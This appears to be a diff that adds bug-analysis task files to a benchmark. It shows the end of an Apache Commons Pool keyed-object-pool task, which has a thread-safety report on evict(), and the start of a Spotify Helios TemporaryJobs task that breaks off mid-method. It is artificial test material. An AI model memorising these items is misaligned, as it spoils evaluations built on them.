+            objectDefecit = Math.min(objectDefecit, growLimit);
+        }
+
+        return objectDefecit;
+    }
+
+    
+    //--- JMX specific attributes ----------------------------------------------
+
+    private void initStats() {
+        for (int i = 0; i < AVERAGE_TIMING_STATS_CACHE_SIZE; i++) {
+            activeTimes.add(null);
+            idleTimes.add(null);
+            waitTimes.add(null);
+        }
+    }
+
+    private long getMeanFromStatsCache(LinkedList<Long> cache) {
+        List<Long> times = new ArrayList<Long>(AVERAGE_TIMING_STATS_CACHE_SIZE);
+        synchronized (cache) {
+            times.addAll(cache);
+        }
+        double result = 0;
+        int counter = 0;
+        Iterator<Long> iter = times.iterator();
+        while (iter.hasNext()) {
+            Long time = iter.next();
+            if (time != null) {
+                counter++;
+                result = result * ((counter - 1) / (double) counter) +
+                        time.longValue()/(double) counter;
+            }
+        }
+        return (long) result;
+    }
+
+    public Map<String,Integer> getNumActivePerKey() {
+        HashMap<String,Integer> result = new HashMap<String,Integer>();
+
+        Iterator<Entry<K,ObjectDeque<T>>> iter = poolMap.entrySet().iterator();
+        while (iter.hasNext()) {
+            Entry<K,ObjectDeque<T>> entry = iter.next();
+            if (entry != null) {
+                K key = entry.getKey();
+                ObjectDeque<T> objectDequeue = entry.getValue();
+                if (key != null && objectDequeue != null) {
+                    result.put(key.toString(), Integer.valueOf(
+                            objectDequeue.getAllObjects().size() -
+                            objectDequeue.getIdleObjects().size()));
+                }
+            }
+        }
+        return result;
+    }
+
+    public long getBorrowedCount() {
+        return borrowedCount.get();
+    }
+
+    public long getReturnedCount() {
+        return returnedCount.get();
+    }
+
+    public long getCreatedCount() {
+        return createdCount.get();
+    }
+
+    public long getDestroyedCount() {
+        return destroyedCount.get();
+    }
+
+    public long getDestroyedByEvictorCount() {
+        return destroyedByEvictorCount.get();
+    }
+
+    public long getDestroyedByBorrowValidationCount() {
+        return destroyedByBorrowValidationCount.get();
+    }
+
+    public long getMeanActiveTimeMillis() {
+        return getMeanFromStatsCache(activeTimes);
+    }
+
+    public long getMeanIdleTimeMillis() {
+        return getMeanFromStatsCache(idleTimes);
+    }
+
+    public long getMeanBorrowWaitTimeMillis() {
+        return getMeanFromStatsCache(waitTimes);
+    }
+
+    public long getMaxBorrowWaitTimeMillis() {
+        return maxBorrowWaitTimeMillis;
+    }
+
+    //--- inner classes ----------------------------------------------
+
+    /**
+     * Maintains information on the per key queue for a given key.
+     */
+    private class ObjectDeque<S> {
+        /** Idle instances */
+        private final LinkedBlockingDeque<PooledObject<S>> idleObjects =
+                new LinkedBlockingDeque<PooledObject<S>>();
+
+        /** 
+         * Number of instances created - number destroyed.
+         * Invariant: createCount <= maxTotalPerKey
+         */
+        private AtomicInteger createCount = new AtomicInteger(0);
+
+        /** All instances under management - checked out our idle in the pool. */
+        private Map<S, PooledObject<S>> allObjects =
+                new ConcurrentHashMap<S, PooledObject<S>>();
+
+        /** 
+         * Number of threads with registered interest in this key. 
+         * register(K) increments this counter and deRegister(K) decrements it.
+         * Invariant: empty keyed pool will not be dropped unless numInterested is 0.
+         */
+        private AtomicLong numInterested = new AtomicLong(0);
+        
+        /**
+         * Returns the idle instance pool.
+         * 
+         * @return deque of idle instances
+         */
+        public LinkedBlockingDeque<PooledObject<S>> getIdleObjects() {
+            return idleObjects;
+        }
+        
+        /**
+         * Returns the number of instances that have been created under this
+         * this key minus the number that have been destroyed.
+         * 
+         * @return the number of instances (active or idle) currently being
+         * managed by the pool under this key
+         */
+        public AtomicInteger getCreateCount() {
+            return createCount;
+        }
+        
+        /**
+         * Returns the number of threads with registered interest in this key.
+         * This keyed pool will not be dropped if empty unless this method returns 0.
+         * 
+         * @return number of threads that have registered, but not deregistered this key
+         */
+        public AtomicLong getNumInterested() {
+            return numInterested;
+        }
+        
+        /**
+         * The full set of objects under management by this keyed pool.
+         * 
+         * Includes both idle instances and those checked out to clients.
+         * The map is keyed on pooled instances.  Note: pooled instances
+         * <em>must</em> be distinguishable by equals for this structure to
+         * work properly.
+         * 
+         * @return map of pooled instances
+         */
+        public Map<S, PooledObject<S>> getAllObjects() {
+            return allObjects;
+        }
+    }
+
+    /**
+     * The idle object evictor {@link TimerTask}.
+     * @see GenericKeyedObjectPool#setTimeBetweenEvictionRunsMillis
+     */
+    private class Evictor extends TimerTask {
+        /**
+         * Run pool maintenance.  Evict objects qualifying for eviction and then
+         * invoke {@link GenericKeyedObjectPool#ensureMinIdle()}.
+         */
+        @Override
+        public void run() {
+            //Evict from the pool
+            try {
+                evict();
+            } catch(Exception e) {
+                // ignored
+            } catch(OutOfMemoryError oome) {
+                // Log problem but give evictor thread a chance to continue in
+                // case error is recoverable
+                oome.printStackTrace(System.err);
+            }
+            //Re-create idle instances.
+            try {
+                ensureMinIdle();
+            } catch (Exception e) {
+                // ignored
+            }
+        }
+    }
+
+    //--- attributes -----------------------------------------------------------
+
+    /**
+     * The cap on the number of idle instances per key.
+     * @see #setMaxIdle
+     * @see #getMaxIdle
+     */
+    private int maxIdlePerKey = GenericKeyedObjectPoolConfig.DEFAULT_MAX_IDLE_PER_KEY;
+
+    /**
+     * The minimum no of idle objects per key.
+     * @see #setMinIdle
+     * @see #getMinIdle
+     */
+    private volatile int minIdlePerKey =
+        GenericKeyedObjectPoolConfig.DEFAULT_MIN_IDLE_PER_KEY;
+
+    /**
+     * The cap on the number of active instances from the pool.
+     * @see #setMaxTotalPerKey
+     * @see #getMaxTotalPerKey
+     */
+    private int maxTotalPerKey =
+        GenericKeyedObjectPoolConfig.DEFAULT_MAX_TOTAL_PER_KEY;
+
+    /**
+     * The cap on the total number of instances from the pool if non-positive.
+     * @see #setMaxTotal
+     * @see #getMaxTotal
+     */
+    private int maxTotal = GenericKeyedObjectPoolConfig.DEFAULT_MAX_TOTAL;
+
+    /**
+     * The maximum amount of time (in millis) the
+     * {@link #borrowObject} method should block before throwing
+     * an exception when the pool is exhausted and the
+     * {@link #getBlockWhenExhausted} is true.
+     *
+     * When less than 0, the {@link #borrowObject} method
+     * may block indefinitely.
+     *
+     * @see #setMaxWait
+     * @see #getMaxWait
+     * @see #setBlockWhenExhausted
+     * @see #getBlockWhenExhausted
+     */
+    private long maxWait = GenericKeyedObjectPoolConfig.DEFAULT_MAX_WAIT;
+
+    /**
+     * When the {@link #borrowObject} method is invoked when the pool is
+     * exhausted (the maximum number of "active" objects has been reached)
+     * should the {@link #borrowObject} method block or not?
+     *
+     * @see #setBlockWhenExhausted
+     * @see #getBlockWhenExhausted
+     */
+    private boolean blockWhenExhausted =
+        GenericKeyedObjectPoolConfig.DEFAULT_BLOCK_WHEN_EXHAUSTED;
+
+    /**
+     * When <code>true</code>, objects will be
+     * {@link org.apache.commons.pool2.PoolableObjectFactory#validateObject validated}
+     * before being returned by the {@link #borrowObject}
+     * method.  If the object fails to validate,
+     * it will be dropped from the pool, and we will attempt
+     * to borrow another.
+     *
+     * @see #setTestOnBorrow
+     * @see #getTestOnBorrow
+     */
+    private volatile boolean testOnBorrow =
+        GenericKeyedObjectPoolConfig.DEFAULT_TEST_ON_BORROW;
+
+    /**
+     * When <code>true</code>, objects will be
+     * {@link org.apache.commons.pool2.PoolableObjectFactory#validateObject validated}
+     * before being returned to the pool within the
+     * {@link #returnObject}.
+     *
+     * @see #getTestOnReturn
+     * @see #setTestOnReturn
+     */
+    private volatile boolean testOnReturn =
+        GenericKeyedObjectPoolConfig.DEFAULT_TEST_ON_RETURN;
+
+    /**
+     * When <code>true</code>, objects will be
+     * {@link org.apache.commons.pool2.PoolableObjectFactory#validateObject validated}
+     * by the idle object evictor (if any).  If an object
+     * fails to validate, it will be dropped from the pool.
+     *
+     * @see #setTestWhileIdle
+     * @see #getTestWhileIdle
+     * @see #getTimeBetweenEvictionRunsMillis
+     * @see #setTimeBetweenEvictionRunsMillis
+     */
+    private boolean testWhileIdle =
+        GenericKeyedObjectPoolConfig.DEFAULT_TEST_WHILE_IDLE;
+
+    /**
+     * The number of milliseconds to sleep between runs of the
+     * idle object evictor thread.
+     * When non-positive, no idle object evictor thread will be
+     * run.
+     *
+     * @see #setTimeBetweenEvictionRunsMillis
+     * @see #getTimeBetweenEvictionRunsMillis
+     */
+    private long timeBetweenEvictionRunsMillis =
+        GenericKeyedObjectPoolConfig.DEFAULT_TIME_BETWEEN_EVICTION_RUNS_MILLIS;
+
+    /**
+     * The number of objects to examine during each run of the
+     * idle object evictor thread (if any).
+     * <p>
+     * When a negative value is supplied, <code>ceil({@link #getNumIdle})/abs({@link #getNumTestsPerEvictionRun})</code>
+     * tests will be run.  I.e., when the value is <code>-n</code>, roughly one <code>n</code>th of the
+     * idle objects will be tested per run.
+     *
+     * @see #setNumTestsPerEvictionRun
+     * @see #getNumTestsPerEvictionRun
+     * @see #getTimeBetweenEvictionRunsMillis
+     * @see #setTimeBetweenEvictionRunsMillis
+     */
+    private int numTestsPerEvictionRun =
+        GenericKeyedObjectPoolConfig.DEFAULT_NUM_TESTS_PER_EVICTION_RUN;
+
+    /**
+     * The minimum amount of time an object may sit idle in the pool
+     * before it is eligible for eviction by the idle object evictor
+     * (if any).
+     * When non-positive, no objects will be evicted from the pool
+     * due to idle time alone.
+     *
+     * @see #setMinEvictableIdleTimeMillis
+     * @see #getMinEvictableIdleTimeMillis
+     * @see #getTimeBetweenEvictionRunsMillis
+     * @see #setTimeBetweenEvictionRunsMillis
+     */
+    private long minEvictableIdleTimeMillis =
+        GenericKeyedObjectPoolConfig.DEFAULT_MIN_EVICTABLE_IDLE_TIME_MILLIS;
+
+    /** Whether or not the pools behave as LIFO queues (last in first out) */
+    private boolean lifo = GenericKeyedObjectPoolConfig.DEFAULT_LIFO;
+
+    /** My {@link KeyedPoolableObjectFactory}. */
+    final private KeyedPoolableObjectFactory<K,T> factory;
+
+    /**
+     * My idle object eviction {@link TimerTask}, if any.
+     */
+    private Evictor evictor = null; // @GuardedBy("this")
+
+    /** My hash of pools (ObjectQueue). */
+    private final Map<K,ObjectDeque<T>> poolMap =
+            new ConcurrentHashMap<K,ObjectDeque<T>>();
+    
+    /** List of pool keys - used to control eviction order */
+    private final List<K> poolKeyList = new ArrayList<K>();
+
+    /** Lock used to manage adding/removing of keys */
+    private final ReadWriteLock keyLock = new ReentrantReadWriteLock(true);
+
+    /**
+     * The combined count of the currently active objects for all keys and those
+     * in the process of being created. Under load, it may exceed
+     * {@link #maxTotal} but there will never be more than {@link #maxTotal}
+     * created at any one time.
+     */
+    private final AtomicInteger numTotal = new AtomicInteger(0);
+    
+    /**
+     * An iterator for {@link ObjectDeque#getIdleObjects()} that is used by the
+     * evictor.
+     */
+    private Iterator<PooledObject<T>> evictionIterator = null;
+
+    /**
+     * An iterator for {@link #poolMap} entries.
+     */
+    private Iterator<K> evictionKeyIterator = null;
+    
+    /**
+     * The key associated with the {@link ObjectDeque#getIdleObjects()}
+     * currently being evicted.
+     */
+    private K evictionKey = null;
+
+    /** Object used to ensure closed() is only called once. */
+    private final Object closeLock = new Object();
+
+    // JMX specific attributes
+    private static final int AVERAGE_TIMING_STATS_CACHE_SIZE = 100;
+    private final AtomicLong borrowedCount = new AtomicLong(0);
+    private final AtomicLong returnedCount = new AtomicLong(0);
+    private final AtomicLong createdCount = new AtomicLong(0);
+    private final AtomicLong destroyedCount = new AtomicLong(0);
+    private final AtomicLong destroyedByEvictorCount = new AtomicLong(0);
+    private final AtomicLong destroyedByBorrowValidationCount = new AtomicLong(0);
+    private final LinkedList<Long> activeTimes = new LinkedList<Long>(); // @GuardedBy("activeTimes") - except in initStats()
+    private final LinkedList<Long> idleTimes = new LinkedList<Long>(); // @GuardedBy("activeTimes") - except in initStats()
+    private final LinkedList<Long> waitTimes = new LinkedList<Long>(); // @GuardedBy("activeTimes") - except in initStats()
+
+    private final Object maxBorrowWaitTimeMillisLock = new Object();
+    private volatile long maxBorrowWaitTimeMillis = 0; // @GuardedBy("maxBorrowWaitTimeMillisLock")
+
+    private final ObjectName oname;
+
+    private static final String ONAME_BASE =
+        "org.apache.commoms.pool2:type=GenericKeyedObjectPool,name=";
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.apache.commons.pool2.impl.GenericKeyedObjectPool.evict` writes to field `this.org.apache.commons.pool2.impl.GenericKeyedObjectPool.evictionIterator` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GenericKeyedObjectPool.evict()
+
+### Procedure Id:
+org.apache.commons.pool2.impl.GenericKeyedObjectPool.evict():void.fbad07c446036088d0f205f8090cb2e1
+
+### File:
+src/java/org/apache/commons/pool2/impl/GenericKeyedObjectPool.java
+
+### Key:
+GenericKeyedObjectPool.java|evict|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+a8824a1e084f7cc7d51d654fb82a5431
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3511/instruction.md b/inferredbugs-3511/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e478b5f1886ebae4a46488cfe1d07734118d5dc4
--- /dev/null
+++ b/inferredbugs-3511/instruction.md
@@ -0,0 +1,741 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helios
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2014 Spotify AB.
+ *
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package com.spotify.helios.testing;
+
+import com.google.common.base.Optional;
+import com.google.common.base.Splitter;
+import com.google.common.base.Throwables;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.Lists;
+import com.google.common.util.concurrent.MoreExecutors;
+import com.google.common.util.concurrent.ThreadFactoryBuilder;
+
+import com.spotify.helios.client.HeliosClient;
+import com.spotify.helios.common.descriptors.Job;
+import com.spotify.helios.common.descriptors.JobId;
+import com.spotify.helios.common.descriptors.JobStatus;
+import com.typesafe.config.Config;
+import com.typesafe.config.ConfigFactory;
+import com.typesafe.config.ConfigList;
+import com.typesafe.config.ConfigParseOptions;
+import com.typesafe.config.ConfigResolveOptions;
+import com.typesafe.config.ConfigValue;
+import com.typesafe.config.ConfigValueFactory;
+import com.typesafe.config.ConfigValueType;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.MultipleFailureException;
+import org.junit.runners.model.Statement;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.File;
+import java.io.IOException;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.nio.file.NoSuchFileException;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.ThreadPoolExecutor;
+
+import static com.google.common.base.Preconditions.checkNotNull;
+import static com.google.common.base.Strings.isNullOrEmpty;
+import static com.google.common.collect.Lists.newArrayList;
+import static com.spotify.helios.testing.Jobs.undeploy;
+import static java.lang.String.format;
+import static java.util.Arrays.asList;
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+public class TemporaryJobs implements TestRule {
+  private static final Logger log = LoggerFactory.getLogger(TemporaryJobs.class);
+
+  static final String HELIOS_TESTING_PROFILE = "helios.testing.profile";
+  private static final String HELIOS_TESTING_PROFILES = "helios.testing.profiles.";
+  private static final String DEFAULT_USER = System.getProperty("user.name");
+  private static final Prober DEFAULT_PROBER = new DefaultProber();
+  private static final String DEFAULT_LOCAL_HOST_FILTER = ".+";
+  private static final String DEFAULT_PREFIX_DIRECTORY = "/tmp/helios-temp-jobs";
+  private static final long JOB_HEALTH_CHECK_INTERVAL_MILLIS = SECONDS.toMillis(5);
+
+  private final HeliosClient client;
+  private final Prober prober;
+  private final String defaultHostFilter;
+  private final JobPrefixFile jobPrefixFile;
+  private final Config config;
+  private final List<TemporaryJob> jobs = Lists.newCopyOnWriteArrayList();
+  private final Deployer deployer;
+
+  private final ExecutorService executor = MoreExecutors.getExitingExecutorService(
+      (ThreadPoolExecutor) Executors.newFixedThreadPool(
+          1, new ThreadFactoryBuilder()
+              .setNameFormat("helios-test-runner-%d")
+              .setDaemon(true)
+              .build()),
+      0, SECONDS);
+
+  TemporaryJobs(final Builder builder, final Config config) {
+    this.client = checkNotNull(builder.client, "client");
+    this.prober = checkNotNull(builder.prober, "prober");
+    this.defaultHostFilter = checkNotNull(builder.hostFilter, "hostFilter");
+    this.deployer = Optional.fromNullable(builder.deployer).or(
+        new DefaultDeployer(client, jobs, builder.hostPickingStrategy, 
+            builder.jobDeployedMessageFormat));
+    final Path prefixDirectory = Paths.get(Optional.fromNullable(builder.prefixDirectory)
+        .or(DEFAULT_PREFIX_DIRECTORY));
+
+    try {
+      removeOldJobs(prefixDirectory);
+      if (isNullOrEmpty(builder.jobPrefix)) {
+        this.jobPrefixFile = JobPrefixFile.create(prefixDirectory);
+      } else {
+        this.jobPrefixFile = JobPrefixFile.create(builder.jobPrefix, prefixDirectory);
+      }
+    } catch (IOException | ExecutionException | InterruptedException e) {
+      throw Throwables.propagate(e);
+    }
+
+    // Load in the prefix so it can be used in the config
+    final Config configWithPrefix = ConfigFactory.empty()
+        .withValue("prefix", ConfigValueFactory.fromAnyRef(prefix()));
+
+    this.config = config.withFallback(configWithPrefix).resolve();
+  }
+
+  /**
+   * Perform setup. This is normally called by JUnit when TemporaryJobs is used with @Rule.
+   * If @Rule cannot be used, call this method before calling {@link #job()}.
+   *
+   * Note: When not being used as a @Rule, jobs will not be monitored during test runs.
+   */
+  public void before() {
+    deployer.readyToDeploy();
+  }
+
+  /**
+   * Perform teardown. This is normally called by JUnit when TemporaryJobs is used with @Rule.
+   * If @Rule cannot be used, call this method after running tests.
+   */
+  public void after() {
+    // Stop the test runner thread
+    executor.shutdownNow();
+    try {
+      final boolean terminated = executor.awaitTermination(30, SECONDS);
+      if (!terminated) {
+        log.warn("Failed to stop test runner thread");
+      }
+    } catch (InterruptedException ignore) {
+    }
+
+    final List<AssertionError> errors = newArrayList();
+
+    for (TemporaryJob job : jobs) {
+      job.undeploy(errors);
+    }
+
+    for (AssertionError error : errors) {
+      log.error(error.getMessage());
+    }
+
+    // Don't delete the prefix file if any errors occurred during undeployment, so that we'll
+    // try to undeploy them the next time TemporaryJobs is run.
+    if (errors.isEmpty()) {
+      jobPrefixFile.delete();
+    }
+  }
+
+  public TemporaryJobBuilder job() {
+    final TemporaryJobBuilder builder = new TemporaryJobBuilder(deployer, jobPrefixFile.prefix(),
+                                                                prober);
+
+    if (config.hasPath("env")) {
+      final Config env = config.getConfig("env");
+
+      for (final Entry<String, ConfigValue> entry : env.entrySet()) {
+        builder.env(entry.getKey(), entry.getValue().unwrapped());
+      }
+    }
+
+    if (config.hasPath("name")) {
+      builder.name(config.getString("name"));
+    }
+    if (config.hasPath("version")) {
+      builder.version(config.getString("version"));
+    }
+    if (config.hasPath("image")) {
+      builder.image(config.getString("image"));
+    }
+    if (config.hasPath("command")) {
+      builder.command(getListByKey("command", config));
+    }
+    if (config.hasPath("host")) {
+      builder.host(config.getString("host"));
+    }
+    if (config.hasPath("deploy")) {
+      builder.deploy(getListByKey("deploy", config));
+    }
+    if (config.hasPath("imageInfoFile")) {
+      builder.imageFromInfoFile(config.getString("imageInfoFile"));
+    }
+    if (config.hasPath("registrationDomain")) {
+      builder.registrationDomain(config.getString("registrationDomain"));
+    }
+    // port and expires intentionally left out -- since expires is a specific point in time, I
+    // cannot imagine a config-file use for it, additionally for ports, I'm thinking that port
+    // allocations are not likely to be common -- but PR's welcome if I'm wrong. - drewc@spotify.com
+    builder.hostFilter(defaultHostFilter);
+    return builder;
+  }
+
+  private static List<String> getListByKey(final String key, final Config config) {
+    final ConfigList endpointList = config.getList(key);
+    final List<String> stringList = Lists.newArrayList();
+    for (final ConfigValue v : endpointList) {
+      if (v.valueType() != ConfigValueType.STRING) {
+        throw new RuntimeException("Item in " + key + " list [" + v + "] is not a string");
+      }
+      stringList.add((String) v.unwrapped());
+    }
+    return stringList;
+  }
+
+  /**
+   * Creates a new instance of TemporaryJobs. Will attempt to connect to a helios master according
+   * to the following factors, where the order of precedence is top to bottom.
+   * <ol>
+   * <li>HELIOS_DOMAIN - If set, use a helios master running in this domain.</li>
+   * <li>HELIOS_ENDPOINTS - If set, use one of the endpoints, which are specified as a comma
+   * separated list.</li>
+   * <li>Testing Profile - If a testing profile can be loaded, use either {@code domain} or
+   * <tt>endpoints</tt> if present. If both are specified, {@code domain} takes precedence.</li>
+   * <li>DOCKER_HOST - If set, assume a helios master is running on this host, so connect to it on
+   * port {@code 5801}.</li>
+   * <li>Use {@code http://localhost:5801}</li>
+   * </ol>
+   *
+   * @return an instance of TemporaryJobs
+   * @see <a href=
+   * "https://github.com/spotify/helios/blob/master/docs/testing_framework.md#configuration-by-file"
+   * >Helios Testing Framework - Configuration By File</a>
+   */
+  public static TemporaryJobs create() {
+    return builder().build();
+  }
+
+  public static TemporaryJobs create(final HeliosClient client) {
+    return builder().client(client).build();
+  }
+
+  public static TemporaryJobs create(final String domain) {
+    return builder().domain(domain).build();
+  }
+
+  public static TemporaryJobs createFromProfile(final String profile) {
+    return builder(profile).build();
+  }
+
+  @Override
+  public Statement apply(final Statement base, Description description) {
+    return new Statement() {
+      @Override
+      public void evaluate() throws Throwable {
+        before();
+        try {
+          perform(base);
+        } finally {
+          after();
+        }
+      }
+    };
+  }
+
+  private void perform(final Statement base)
+      throws InterruptedException {
+    // Run the actual test on a thread
+    final Future<Object> future = executor.submit(new Callable<Object>() {
+      @Override
+      public Object call() throws Exception {
+        try {
+          base.evaluate();
+        } catch (MultipleFailureException e) {
+          // Log the stack trace for each exception in the MultipleFailureException, because
+          // stack traces won't be logged when this is caught and logged higher in the call stack.
+          final List<Throwable> failures = e.getFailures();
+          log.error(format("MultipleFailureException contains %d failures:", failures.size()));
+          for (int i = 0; i < failures.size(); i++) {
+            log.error(format("MultipleFailureException %d:", i), failures.get(i));
+          }
+          throw Throwables.propagate(e);
+        } catch (Throwable throwable) {
+          Throwables.propagateIfPossible(throwable, Exception.class);
+          throw Throwables.propagate(throwable);
+        }
+        return null;
+      }
+    });
+
+    // Monitor jobs while test is running
+    while (!future.isDone()) {
+      Thread.sleep(JOB_HEALTH_CHECK_INTERVAL_MILLIS);
+      verifyJobsHealthy();
+    }
+
+    // Rethrow test failure, if any
+    try {
+      future.get();
+    } catch (ExecutionException e) {
+      final Throwable cause = (e.getCause() == null) ? e : e.getCause();
+      throw Throwables.propagate(cause);
+    }
+  }
+
+  private void verifyJobsHealthy() throws AssertionError {
+    for (TemporaryJob job : jobs) {
+      job.verifyHealthy();
+    }
+  }
+
+  /**
+   * Undeploys and deletes jobs leftover from previous runs of TemporaryJobs. This would happen if
+   * the test was terminated before the cleanup code was called. This method will iterate over each
+   * file in the specified directory. Each filename is the prefix that was used for job names
+   * during previous runs. The method will undeploy and delete any jobs that have a matching
+   * prefix, and the delete the file. If the file is locked, it is currently in use, and will be
+   * skipped.
+   * @throws ExecutionException
+   * @throws InterruptedException
+   * @throws IOException
+   */
+  private void removeOldJobs(final Path prefixDirectory)
+      throws ExecutionException, InterruptedException, IOException {
+    final File[] files = prefixDirectory.toFile().listFiles();
+    if (files == null || files.length == 0) {
+      return;
+    }
+
+    log.info("Removing old temporary jobs");
+
+    final Map<JobId, Job> jobs = client.jobs().get();
+
+    // Iterate over all files in the directory
+    for (File file : files) {
+      // Skip .tmp files which are generated when JobPrefixFiles are created. Also skip
+      // directories. We don't expect any, but skip them just in case.
+      if (file.getName().endsWith(".tmp") || file.isDirectory()) {
+        continue;
+      }
+      // If we can't obtain a lock for the file, it either has already been deleted, or is being
+      // used by another process. In either case, skip over it.
+      try (
+        JobPrefixFile prefixFile = JobPrefixFile.tryFromExistingFile(file.toPath())
+      ) {
+        if (prefixFile == null) {
+          log.debug("Unable to create JobPrefixFile for {}", file.getPath());
+          continue;
+        }
+
+        boolean jobRemovalFailed = false;
+        // Iterate over jobs, looking for ones with a matching prefix.
+        for (Map.Entry<JobId, Job> entry : jobs.entrySet()) {
+          final JobId jobId = entry.getKey();
+          // Skip over job if the id doesn't start with current filename.
+          if (!jobId.getName().startsWith(prefixFile.prefix())) {
+            continue;
+          }
+          // Get list of all hosts where this job is deployed, and undeploy
+          final JobStatus status = client.jobStatus(entry.getKey()).get();
+          final List<String> hosts = ImmutableList.copyOf(status.getDeployments().keySet());
+          final List<AssertionError> errors =
+              undeploy(client, entry.getValue(), hosts, new ArrayList<AssertionError>());
+
+          // Set flag indicating if any errors occur
+          if (!errors.isEmpty()) {
+            jobRemovalFailed = true;
+          }
+        }
+
+        // If all jobs were removed successfully, then delete the prefix file. Otherwise,
+        // leave it there so we can try again next time.
+        if (!jobRemovalFailed) {
+          prefixFile.delete();
+        }
+      } catch (NoSuchFileException e) {
+        log.debug("File {} already processed by somebody else.", file.getPath());
+      } catch (Exception e) {
+        // log exception and continue on to next file
+        log.warn("Exception processing file {}", file.getPath(), e);
+      }
+    }
+  }
+
+  public JobPrefixFile jobPrefixFile() {
+    return jobPrefixFile;
+  }
+
+  public String prefix() {
+    return jobPrefixFile.prefix();
+  }
+
+  static Config loadConfig() {
+    final ConfigResolveOptions resolveOptions =
+        ConfigResolveOptions.defaults().setAllowUnresolved(true);
+
+    final Config baseConfig = ConfigFactory.load(
+        "helios-base.conf", ConfigParseOptions.defaults(), resolveOptions);
+    log.debug("base config: " + baseConfig);
+
+    final Config appConfig = ConfigFactory.load(
+        "helios.conf", ConfigParseOptions.defaults(), resolveOptions);
+    log.debug("app config: " + appConfig);
+
+    final Config returnConfig = appConfig.withFallback(baseConfig);
+    log.debug("result config: " + returnConfig);
+
+    return returnConfig;
+  }
+
+  static String getProfileFromConfig(final Config preConfig) {
+    if (preConfig.hasPath(HELIOS_TESTING_PROFILE)) {
+      return preConfig.getString(HELIOS_TESTING_PROFILE);
+    }
+    return null;
+  }
+
+  public static Builder builder() {
+    return new Builder();
+  }
+
+  public static Builder builder(final String profile) {
+    return new Builder(profile);
+  }
+
+  public static class Builder {
+
+    Builder(final String profile) {
+      this(profile, TemporaryJobs.loadConfig());
+    }
+
+    Builder() {
+      this(TemporaryJobs.loadConfig());
+    }
+
+    // I feel like I'm building the y-combinator here because Java insists on the calls to this()
+    // in a constructor being the first thing in the method.
+    private Builder(final Config preConfig) {
+      this(TemporaryJobs.getProfileFromConfig(preConfig), preConfig);
+    }
+
+    private Builder(final String profile, final Config preConfig) {
+      log.info("Using profile: " + profile);
+      if (profile != null) {
+        final String key = HELIOS_TESTING_PROFILES + profile;
+        if (preConfig.hasPath(key)) {
+          this.config = preConfig.getConfig(key);
+        } else {
+          throw new RuntimeException("The configuration profile " + profile + " does not exist");
+        }
+      } else {
+        this.config = ConfigFactory.empty();
+      }
+      if (this.config.hasPath("jobDeployedMessageFormat")) {
+        jobDeployedMessageFormat(this.config.getString("jobDeployedMessageFormat"));
+      }
+      if (this.config.hasPath("user")) {
+        user(this.config.getString("user"));
+      }
+      if (this.config.hasPath("hostFilter")) {
+        hostFilter(this.config.getString("hostFilter"));
+      }
+      if (this.config.hasPath("endpoints")) {
+        endpointStrings(getListByKey("endpoints", config));
+      }
+      if (this.config.hasPath("domain")) {
+        domain(this.config.getString("domain"));
+      }
+      if (this.config.hasPath("hostPickingStrategy")) {
+        processHostPickingStrategy();
+      }
+
+      // Configuration from profile may be overridden by environment variables
+      configureWithEnv();
+    }
+
+    private void configureWithEnv() {
+      // Use HELIOS_HOST_FILTER if set
+      final String heliosHostFilter = System.getenv("HELIOS_HOST_FILTER");
+      if (heliosHostFilter != null) {
+        hostFilter(heliosHostFilter);
+      }
+
+      // Use HELIOS_DOMAIN if set
+      final String domain = System.getenv("HELIOS_DOMAIN");
+      if (!isNullOrEmpty(domain)) {
+        domain(domain);
+        return;
+      }
+
+      // Use HELIOS_ENDPOINTS if set
+      final String endpoints = System.getenv("HELIOS_ENDPOINTS");
+      if (!isNullOrEmpty(endpoints)) {
+        endpointStrings(Splitter.on(',').splitToList(endpoints));
+        return;
+      }
+
+      // If we get here and client is set, we know which master we'll be talking to, so just return
+      // as rest of this method handles the case where the helios master wasn't specified.
+      if (client != null) {
+        return;
+      }
+
